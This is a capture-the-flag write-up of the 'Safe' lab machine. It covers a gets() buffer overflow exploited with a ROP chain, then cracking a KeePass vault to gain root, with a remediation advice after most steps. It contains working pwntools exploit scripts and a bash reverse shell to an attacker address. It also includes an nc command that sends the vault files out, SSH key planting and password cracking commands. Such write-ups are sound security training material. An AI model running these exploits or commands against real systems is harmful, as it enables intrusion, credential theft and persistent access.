Safe
Linux· Easy
Summary
I downloaded the target's custom service binary directly from its web server, reverse-engineered a stack buffer overflow in it, and exploited the flaw with a ROP chain to obtain a shell as the service user. From that foothold, a KeePass credential vault found in the user's home directory — protected by a dictionary-crackable master password and an image keyfile stored in the same directory — yielded the system root password, which was then used to escalate to full root control.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
1ReconnaissanceNetwork port scanning
Mapped all three exposed services with a port scan
A TCP service scan against the target revealed SSH on port 22, an HTTP server on port 80, and an unknown binary listener on port 1337. Probing the HTTP server by hand showed a downloadable file named 'myapp' at the web root — a copy of the binary driving the port 1337 service.
Exact commands 3
Service-version scan; confirms SSH, HTTP, and the unknown listener.
nmap -sV -sC -p 22,80,1337 $TARGETVerify the port-1337 service accepts connections.
nc -vz -w2 $TARGET 1337Confirm the binary is downloadable with no authentication.
curl -fsI http://$TARGET/myapp2Binary acquisition & analysisBinary static analysis / checksec
Downloaded the service binary and reverse-engineered a stack buffer overflow
The file 'myapp' was fetched unauthenticated over HTTP, allowing unlimited offline analysis. Static inspection showed a 64-bit, non-PIE ELF (load base 0x400000) with no stack canary, NX enabled, and partial RELRO. The program calls system() to print a 'whoami'/'uptime' banner, then reads user input with gets() into a fixed-size stack buffer. Because gets() applies no length limit, I can overwrite the saved return address; the overflow offset to the return address is exactly 120 bytes. Because the binary is non-PIE and unstripped, PLT addresses for system() (0x401040) and gets() (0x401060) are fixed and readable directly from the ELF — no runtime leak is needed.
Non-stripped 64-bit ELF; no stack canary; non-PIE base 0x400000; gets() overflow at offset 120; system@plt=0x401040, gets@plt=0x401060.
Exact commands 4
Download the binary.
curl -fsS http://$TARGET/myapp -o myappConfirm architecture, PIE status, canary, NX, and RELRO.
file myapp && checksec --file=myappResolve fixed PLT addresses and a writable .bss region.
python3 -c "from pwn import ELF; e=ELF('myapp'); print('system@plt', hex(e.plt['system'])); print('gets@plt', hex(e.plt['gets'])); print('bss', hex(e.bss()))"Find the stack-alignment 'ret' gadget (0x401016) and 'pop rdi; ret' gadget (0x40120b).
python3 -c "from pwn import *; e=ELF('myapp'); print(next(e.search(asm('ret', arch='amd64'))))" 2>/dev/null; ROPgadget --binary myapp --rop | grep -E 'pop rdi|ret'FixRemove the service binary from the public web rootHigh
WeaknessThe executable 'myapp' was served unauthenticated over HTTP on port 80, allowing any visitor to download a copy and reverse-engineer it offline. This gave an unauthorised user unlimited time to find the overflow offset and resolve all gadget addresses with no risk of detection.
FixDelete 'myapp' (and any other executable or configuration file) from the web root. If binary distribution is legitimately required, gate access behind authentication and TLS. Audit the web root for any other sensitive files (config files, key material, database dumps). If the HTTP server has no business purpose on this host, disable it.
3Initial exploitationStack buffer overflow / Return-Oriented Programming (ROP)
Built a ROP chain to achieve arbitrary command execution via the gets() overflow
Because system@plt and gets@plt are both already present in the binary's PLT (it calls them itself), a write-then-execute ROP chain requires no libc leak. The chain: 120 bytes padding → ret (0x401016, for 16-byte stack alignment before the system() call) → pop rdi; ret (0x40120b) loading a .bss address → gets@plt (0x401060) to read my own command string into .bss over the open socket → pop rdi; ret again with the same .bss address → system@plt (0x401040) to execute it. The exploit was first validated by running 'id; uname -a', confirming code execution as the service account.
ROP gadgets: ret=0x401016, pop rdi; ret=0x40120b; system@plt=0x401040, gets@plt=0x401060; offset=120.
Exact commands 1
Send the ROP chain and validate remote command execution.
cat > /tmp/validate_rce.py <<'EOF'
from pwn import *
context.arch = 'amd64'
elf = ELF('myapp')
pop_rdi = 0x40120b
ret = 0x401016
bss = elf.bss() + 0x800
payload = b'A'*120 + p64(ret) + p64(pop_rdi) + p64(bss) + p64(elf.plt['gets']) + p64(pop_rdi) + p64(bss) + p64(elf.plt['system'])
io = remote("$TARGET", 1337)
io.recvuntil(b'\n')
io.send(payload + b'\n')
io.send(b'id; uname -a\n')
print(io.recvall(timeout=3))
EOF
python3 /tmp/validate_rce.pyFixReplace gets() with a bounded read function and compile with stack canariesCritical
WeaknessThe 'myapp' binary uses gets() to read user input into a fixed-size stack buffer, imposing no length limit. This lets any remote caller overwrite the saved return address and redirect execution to arbitrary code. No stack canary was compiled in, so the corruption is not detected at runtime.
FixReplace every call to gets() with fgets() or read() specifying the exact buffer length. Recompile with -fstack-protector-strong to add runtime stack-canary checks, and with -D_FORTIFY_SOURCE=2 to harden standard-library string functions. Enable full RELRO (-Wl,-z,relro,-z,now) to make the GOT read-only after startup. If the service does not need to run as a network daemon, remove it entirely.
4FootholdReverse shell via bash TCP redirect
Triggered a reverse shell and captured the user flag
With arbitrary execution confirmed, a netcat listener was started on my machine and the exploit was re-run, this time writing a bash TCP reverse-shell command into .bss. System() executed it, connecting back to the listener as uid=1000 (user). The user flag was read from /home/user/user.txt.
Reverse shell received: 'connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET] 46484'.
Exact commands 3
Start listener on my machine; run in a separate terminal.
nc -lvnp 4444Trigger the reverse shell; catch on the nc listener.
cat > /tmp/revshell.py <<'EOF'
from pwn import *
context.arch = 'amd64'
elf = ELF('myapp')
pop_rdi = 0x40120b
ret = 0x401016
bss = elf.bss() + 0x800
payload = b'A'*120 + p64(ret) + p64(pop_rdi) + p64(bss) + p64(elf.plt['gets']) + p64(pop_rdi) + p64(bss) + p64(elf.plt['system'])
cmd = b"bash -i >&/dev/tcp/$ATTACKER_IP/4444 0>&1"
io = remote("$TARGET", 1337)
io.recvuntil(b'\n')
io.send(payload + b'\n')
io.send(cmd + b'\n')
EOF
python3 /tmp/revshell.pyRead user flag on the target shell -> <user.txt>.
cat /home/user/user.txt5Post-exploitation enumerationLocal filesystem enumeration / file exfiltration
Located a KeePass credential vault and candidate keyfile images in the user's home directory
The user's home directory contained 'MyPasswords.kdbx', a KeePass password database, alongside six JPEG images named IMG_0545.JPG through IMG_0553.JPG. KeePass databases can be locked with both a master password and an image keyfile; storing both on the same compromised host eliminated the protection the keyfile was meant to provide. All files were exfiltrated to my machine for offline attack.
Files found in /home/user: MyPasswords.kdbx, IMG_0545.JPG–IMG_0553.JPG; exfiltrated as /tmp/safe_keepass.tar.gz (11 MB).
Exact commands 3
List home directory; observe the .kdbx and .JPG files.
ls -la /home/user/Stream files to me.
# On the target shell:
tar czf - /home/user/MyPasswords.kdbx /home/user/IMG_*.JPG | nc $ATTACKER_IP 5555Receive and extract the archive.
# On my machine (run first):
nc -lvnp 5555 > safe_keepass.tar.gz && tar xzf safe_keepass.tar.gzFixRemove credential vaults from service hosts and enforce strong KeePass master passwords and offline keyfilesHigh
WeaknessThe KeePass database MyPasswords.kdbx was stored in the home directory of the service account, making it trivially exfiltrated after the initial shell was obtained. The master password ('[REDACTED: recovered credential]') was a common dictionary word crackable in minutes. The keyfile was stored in the same directory as the database, negating its purpose as a second factor.
FixNever store sensitive credential stores on systems running externally exposed services. Enforce a master-password policy of at least 16 characters mixing uppercase, lowercase, digits, and symbols; a random diceware passphrase of five or more words is also acceptable. Store keyfiles on a physically separate medium (hardware token, offline USB) that is never present on the server. For server-side secrets, use a dedicated secrets manager (e.g., HashiCorp Vault) with access logging and short-lived leases.
6Credential crackingKeePass hash extraction / offline dictionary attack
Identified the correct image keyfile and cracked the KeePass master password with a dictionary attack
Keepass2john was run once per image, producing one hash per keyfile/database pairing. John the Ripper then ran each hash against rockyou.txt. The hash for the pairing of IMG_0547.JPG as keyfile cracked in minutes, revealing the master password '[REDACTED: recovered credential]' — a word that appears near the top of every common wordlist. The remaining images produced hashes that did not crack, confirming IMG_0547.JPG as the correct keyfile.
IMG_0547.JPG + master password '[REDACTED: recovered credential]' confirmed by john/rockyou.txt.
Exact commands 3
Generate one john hash file per candidate keyfile.
cd /tmp/safe_keepass
for img in IMG_*.JPG; do
keepass2john -k "$img" MyPasswords.kdbx > "john_${img%.JPG}.txt" 2>/dev/null
doneDictionary attack each hash; IMG_0547 cracks to '[REDACTED: recovered credential]'.
for img in IMG_*.JPG; do
john --wordlist=/usr/share/wordlists/rockyou.txt "john_${img%.JPG}.txt"
doneConfirm cracked master password.
john --show john_IMG_0547.txt7Credential extractionKeePass vault access / credential harvesting
Opened the KeePass vault and retrieved the root account password
With the master password ('[REDACTED: recovered credential]') and keyfile (IMG_0547.JPG) in hand, the database was opened using pykeepass. The vault contained a 'Root password' entry holding the system root account credential. This single credential was sufficient to escalate to full root control.
Exact commands 2
Install pykeepass on my machine if not present.
pip install --user pykeepassPrint all vault entries; the Root password entry reveals the root credential.
python3 -c "
from pykeepass import PyKeePass
kp = PyKeePass('MyPasswords.kdbx', password='$PASSWORD2', keyfile='IMG_0547.JPG')
for e in kp.entries:
print(e.title, '|', e.username, '|', e.password)
"8Privilege escalationCredential reuse / su privilege escalation
Used the vault-extracted root password to escalate to full root via su
Direct SSH as root was blocked (root password authentication disabled in sshd_config). To obtain a proper TTY — required for interactive su — the buffer overflow was exploited a second time to write my SSH public key into the user's authorized_keys file, providing a stable key-authenticated session. From that session, 'su - root' with the KeePass-extracted password succeeded immediately, producing a root shell. The root flag was read from /root/root.txt.
Su - root with the extracted password succeeded; root.txt read.
Exact commands 5
Generate a keypair on my machine.
ssh-keygen -t ed25519 -f safe_user_key -N ''Plant my public key via a second exploit invocation.
# Re-run the ROP exploit writing this command into .bss:
# mkdir -p /home/user/.ssh && echo '<contents of safe_user_key.pub>' >> /home/user/.ssh/authorized_keys
# (same pwntools script as step 4, with the above as the cmd string)Connect with a proper TTY session.
ssh -i safe_user_key -o StrictHostKeyChecking=no user@$TARGETEnter password: [REDACTED: recovered credential] (retrieved from KeePass vault).
su - rootConfirm uid=0; read root flag -> <root.txt>.
id && cat /root/root.txtFixDisable root password login and require sudo with MFA for privilege escalationHigh
WeaknessA root account password was stored in plaintext inside the credential vault. Once the vault was cracked, the password was immediately usable through su, granting complete system control with no additional verification step.
FixLock the root account password ('passwd -l root') so su cannot be used to escalate directly. Grant administrative access through sudo configured with fine-grained rules (specific commands only where possible). Require key-based SSH for privileged users and enforce PAM-based MFA (e.g., pam_google_authenticator) for any remaining su/sudo usage. Immediately rotate any root credential that has been exposed.